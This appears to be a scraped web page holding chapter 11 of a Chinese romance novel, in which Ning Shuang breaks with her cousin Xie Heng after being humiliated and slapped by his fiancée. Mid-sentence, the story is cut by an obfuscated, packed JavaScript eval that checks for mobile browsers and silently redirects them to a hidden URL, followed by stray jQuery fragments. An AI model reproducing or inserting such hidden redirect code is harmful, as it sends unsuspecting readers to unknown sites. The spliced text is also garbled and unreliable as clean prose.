11. 第 11 章

作品:《被阴戾将军强取豪夺后

    看到王美茹也在,宁霜微微一怔,但很快恢复淡定。


    与她,她根本无相交,也不需多加理会。


    她是这样想的。


    罗氏见到她,吩咐碧玉去内室取出一个盒子。


    “霜霜,盒子里装的是一份拓印的罗氏家谱,当年你娘未嫁生女,犯了七出之罪,被家族族长从族谱中除了名!当年你娘羞愧而自杀,这份拓印的族谱就在她身边,由我收拾起来,如今,你也大了,她的东西理应还你,以此警示你不该肖想的不要肖想,不该做的事儿别做,不然会落得如你娘一样的下场,被知情人唾弃!也让儿女因她蒙羞,沦为下贱之人,永远失去嫁入高门的资格!”


    真是树欲静而风不止啊!


    宁霜抖着手接过那只木匣。


    罗氏当着王美茹的面儿如此贬低自己的母亲,分明就是故意羞辱她!


    她是在帮着王美茹立威,同时也遏止自己对谢恒还有任何的觊觎之心。


    宁霜心底里发出声声冷笑。


    你们怎知我非谢恒不可?


    你们又怎知我任凭谢恒作践,却还始终如一地爱他敬他?!


    可笑至极!


    罗氏却装作什么事儿没有的样儿,笑着与她说,“霜儿,快过来,给你表嫂行礼!”


    宁霜强忍愤怒,碍着之前三年罗氏待她尚可,微微一福,“表嫂好。”


    王美茹眉梢斜挑,神情倨傲,“从谢家这边说,我是你表嫂,从王家讲,我是长陵四大家族王家长房嫡女,你这等身份卑贱之人见了我,不该给本姑娘行跪拜之礼吗?”


    宁霜都要被气笑了。


    即便王美茹是谢家妇,是谢恒之妻,那也与自己是平辈儿,平辈儿见平辈儿,从哪里论都没有要行跪拜大礼的道理。


    王家是四大家族之一,可那与她宁霜何干?


    对方这是明摆着要找事!


    姨母到现在还保持沉默,明显就是支持王美茹这样做的。


    看透这些,宁霜敛笑,冷冷道,“我认谢恒是表哥,尊称你一声表嫂,我若是不认,你又是谁?给你行跪拜大礼,你受得起吗?”


    “哼,你是不想认谢恒是表哥,你想认他做情哥哥吧?只可惜,你身份低贱,给他提鞋都不够!”


    王美茹冷笑连连。


    宁霜笑了,“在你眼里,谢恒是良人,是世上最好的男子,但在我这里,他背信弃义,将孤立无援的女子丢到狼穴,这种人,我宁愿根本不相识。王姑娘,你今日此举,瞧着是为难我,实际上是你没自信,你想确认谢恒在我心中的地位,我不防好心告诉你,谢恒与我,从他将我一人丢到禹州那刻起就恩断义绝,他再不是我尊重敬仰的兄长,而我也不是他们谢家的表亲!”


    说到这里,她走到罗氏跟前,很认真地跪下磕了一个头,“姨母,感谢您过去对我的好,从今时起,我与你们谢家再无瓜葛,也断断不会成为您儿子与王姑娘之间的羁绊!就此别过,再不想见!”


    她起身就朝外走。


    却不料,迎面与人撞上。


    对方惊呼,“霜霜!”


    他目光灼灼地看着她,一张俊朗的面上皆是痛楚,“霜霜,你真不认我这个表哥了吗?”


    宁霜看着谢恒,这个曾经深深打动她心的男人,容貌还是出众的,眸色依旧脉脉含情,可是,她忽然就觉得很陌生,陌生到与他四目相对,她都觉得厌弃。


    她退后一步,偏开头,言辞凉薄,“谢公子,我刚才已经把话说清楚了,你若是没听到,就请您的未婚妻转述一下,咱们就此一别两宽,各生欢喜。”


    说完,她疾步走了出去。


    “霜霜……表妹……”


    谢恒喊声中透着焦灼与愤懑。


    “阿恒,你不要忘记了,今日你要与美茹订婚。”


    罗氏厉声呵斥。


    “母亲,你答应过我,若是我婚后三年妻子无所出,我就可以纳妾!霜儿是爱我的,我要对她负责!”


    谢恒无视王美茹,与其母力争。


    罗氏冷哼,“即便将来你要纳妾,那也得是好人家的女子,只要我还活着一日,宁霜就别想踏进谢家一步!”


    “母亲,我只要宁霜!”


    谢恒愤而追了出去。


    “霜儿,你别走,我会对你负责的,我……我那日是一时糊涂,我现在后悔了,我以后会补偿你的!霜儿,你等等……”


    谢恒拉住宁霜,眼底都是疼惜,“霜儿,我知道你是爱我的,对不对?”


    宁霜狠狠一把甩开他,她面上平静如水,一字一句对谢恒说,“谢公子,你若真在意,你不会丢弃,你若真在意,你不会利用,你若真在意,你不会沉默接受,今日你就要与别人订婚了,你却还口口声声说,你要对我负责,我倒是不明白了,你要怎么对我负责?是将我养做外室,还是让我等三年,等你妻子无所出,你把我纳为妾,生下孩子,养在你妻子身边,而我就被困在你们谢家后院的一个角落里孤独终老!谢恒,谢公子,这就是你对我的所谓的负责?你负责了什么?是负责伙同你的妻子与母亲一起将我推入火坑,还是负责与他们一起抢走我生的孩子,让我肝肠寸断,死得凄惨?”


    “贱人,你竟敢对谢郎不敬!谢郎愿意纳你,已经是对你天大的恩宠,你竟还敢质问他?”


    随后追出来的王美茹扬手甩了宁霜一耳光。


    “王美茹,你住手!”


    谢恒一把拽住王美茹,“你不许动她!”


    王美茹冷笑,“谢恒,你也别在我面前上演什么恩爱情长的戏码,我没有拿刀子架你脖子上逼你娶我,现在,你若是选择宁霜,你就与她一起走,我敬你是条汉子!你若抛弃不了这长陵的荣华富贵,就不要娶我的同时还对旁人念念不忘,我出身高贵,不是那些卑贱之人能比拟,同时也非是你可以随意践踏欺负!”


    谢恒愣在原地,在与王美茹的对视中最终落败,垂下头。


    王美茹哈哈大笑,“宁霜,你拿什么跟我抢男人?我让你给我行跪拜之礼,那是看得起你!不然,就你这种贱人生的贱种,我压根连瞧一眼都嫌脏!”


    宁霜看着谢恒。


    有些日子不见他了,他比之前清减了不少,但样貌还是耐看的,连沮丧的模样都透着一种高贵的疏离。


    过去与他相处的那三年,他待她一直都是温和有礼的,总是霜儿,你要这样,霜儿,你要那样,霜儿,总有一天,我会让你幸福的。


    他有意无意说出来的一些话,总让她回味一遍又一遍,她不是没萌生过嫁给他的梦,可每每她试探着去问,他就会闪避,从不正面给与回答。


    作为谢公子,他在长陵是很有知名度的,他也会有冲冠一怒的时候,她记得有一回,他带她去街上买点心,半道儿遇到好友,他让宁霜先一人过去排队,他与好友交涉完就会过去。


    等他过去时,却看到几个街痞无赖正对宁霜动手动脚,宁霜被吓得蜷缩在角落里哭,像极了一只被丢弃的小猫。


    谢恒大怒,亲自动手把那几个坏痞子给打得满地打滚,还让下人喊来了京兆府的官差,把那几个人下了大狱。


    那天,他抱着哭得瑟瑟发抖的宁霜说,霜儿,别怕,有我呢,我会保护你!


    那一刻他给予宁霜的温暖,是支撑着宁霜默默爱着他,却从来不问前程的唯一的信念。


    宁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15155149|164588||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霜也知道,他对自己与旁人是不同的。


    他把她当宠物哄,可他对旁人却没那么好的耐性。


    或者说他们这样身份的人,大多是不把什么真心真情放在心里的。


    凉薄,是他们的骨子里的特性。


    他待人处事都是淡淡的,那双狭长的眸子里时常见到的都是冷清。


    这种冷清像极了,早起的大雾,说不上太冷,却总给人萧瑟冰冷之感。


    他们是不太愿意搭理与之身份不相匹配的人的。


    在他们根深蒂固的认知里,身份低于他们的,他们瞧不上,也不与之打交道,那会平白无故浪费他们的时间!


    而他们的时间多半儿是用在同样身份的圈子里,他们可以相互利用资源,相互辅助成功,在彼此认可的分割利益下,达成共识,共赢共存!


    这也是宁霜始终与他们的圈子格格不入的原因。


    今时今刻,宁霜认清了谢恒,认清了他们所谓的这个圈子里的每一个人,她的手抚过被王美茹打的脸颊,倏然就如春花绽放一般笑了,


    “王美茹,这一巴掌,算前几年我跟在谢恒后头,受到的惩罚!我认!但……”


    她眼神冰冷地扫过谢恒的脸,“但今日之后,你们别再妄想欺负我,我身无牵挂,我不惜命,逼急了我杀你一人保本,杀你们两人我赚一个,不信,你们大可试试!”


    说完,她拧身就走,裙裾飞扬,如同在长长的走廊里飘走的一朵瑰丽多姿的云。


    走廊尽头,一道深邃冰冷的眸光一直追随着宁霜的背影,直至消失不见。


    “主子,那王姑娘怎么能动手打人呢?”


    李旭小声嘟哝,“仗着有权势就欺负小姑娘,不要脸……”


    “去跟孙重彬说,弹劾赵珂贪墨的奏折可以递上去了。”


    赵珂是王美茹的亲娘舅,上河州知府。


    李旭大喜,“主子英明。”


    李斯年嫌弃地白他一眼,“遇事儿就知道扇阴风点鬼火,顺道儿再把这个送给她。”


    李旭低头一看,手里多了一瓶御用玉容膏。


    “是,小的知道了,小的会跟宁姑娘说,这玉容膏不是爷您给的,是小的买的。”


    他转眼间跑没影儿了。


    李斯年气闷,这混账小厮,是不是该换了?玉容膏是宫里的东西,他一个小厮从哪儿能买到?再说,他有说,要默默地做好人吗?


    “阿年,你今晚上收留我吧?我实在是没地儿可去……”


    沈南城一脸苦瓜相,扯了李斯年的袖子,耍赖。


    “又被秦明玉赶出来了?这次又是为什么?”


    “还不是为秦从耀,他被你判入狱七年,明玉每次回娘家,都被他哥嫂骂,回来就跟我找事,我说不过她,又不舍得打,这不只能躲了!”


    想了想,他忽然说,“阿年,要不我今夜月黑风高,去把敬德侯杀了?”


    李斯年诡笑,“好啊,我在侯府院墙外头给你擂鼓喊加油!”


    “唉,我命怎么这样苦啊,好容易娶到自己喜欢的女子,偏偏遇到那么一家拎不清的……”


    沈南城狠狠抓挠头发。


    “再揪,就成秃子了。”


    “啊?我不揪了,我若变成秃子,明玉就不爱我了,没有明玉的爱,我就没活路了。”


    沈南城乖乖收回手,却转瞬又愁眉不展,“咋办啊?阿年,你帮我想想,这次我用什么招数能哄好明玉?”


    滚!


    李斯年假踹他一脚,转身出了谢家大门。


    沈南城追上来,“谢王的订婚仪式还没开始,你不留下捧场?”


    “他们不配!”